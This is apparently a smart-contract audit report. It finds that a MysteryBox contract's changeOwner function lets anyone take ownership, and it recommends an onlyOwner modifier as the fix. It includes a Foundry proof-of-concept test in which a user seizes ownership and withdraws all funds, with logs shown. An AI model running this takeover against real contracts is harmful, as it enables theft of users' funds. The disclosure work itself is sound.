Summary
The Contracts owner can change at any time as there are no restrictions on the "changeOwner" function
Vulnerability Details
This line in the code base has no authority to it
function changeOwner(address _newOwner) public { owner = _newOwner; }
Code to test it
function test_anyone_can_change_owner() public{
vm.prank(user1);
console.logBool(mysteryBox.owner()==address(owner));
console.log("The address of owner is",owner);
console.log("The address of user1 is",user1);
console.log("The balance is",address(mysteryBox).balance);
console.log("The old owner is",mysteryBox.owner());
mysteryBox.changeOwner(address(user1));
console.log("The new owner is",mysteryBox.owner());
vm.assertEq(mysteryBox.owner(),user1);
vm.prank(user1);
mysteryBox.withdrawFunds();
console.log("The balance is",address(mysteryBox).balance);
}
OUTPUT
Ran 3 tests for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] test_anyone_can_change_owner() (gas: 66780)
Logs:
Reward Pool Length: 4
true
The address of owner is 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
The address of user1 is 0x0000000000000000000000000000000000000001
The balance is 100000000000000000
The old owner is 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
The new owner is 0x0000000000000000000000000000000000000001
The balance is 0
Impact
The owner can be changed at any time.This has heavy implications such as
1)Being able to change the prices of boxes
2)Setting boxes
3)Adding rewards
4)Withdrawing all the funds in the contract etc.
and control of the entire smart contract
Tools Used
Foundry 0.2.0 and the console functionality.
Recommendations
Add a modifier to avoid privilege escalation like this
modifier onlyOwner() {
require(msg.sender == owner, "Not the contract owner");
_;
}
and modify the old function like
function changeOwner(address _newOwner) public onlyOwner { owner = _newOwner; }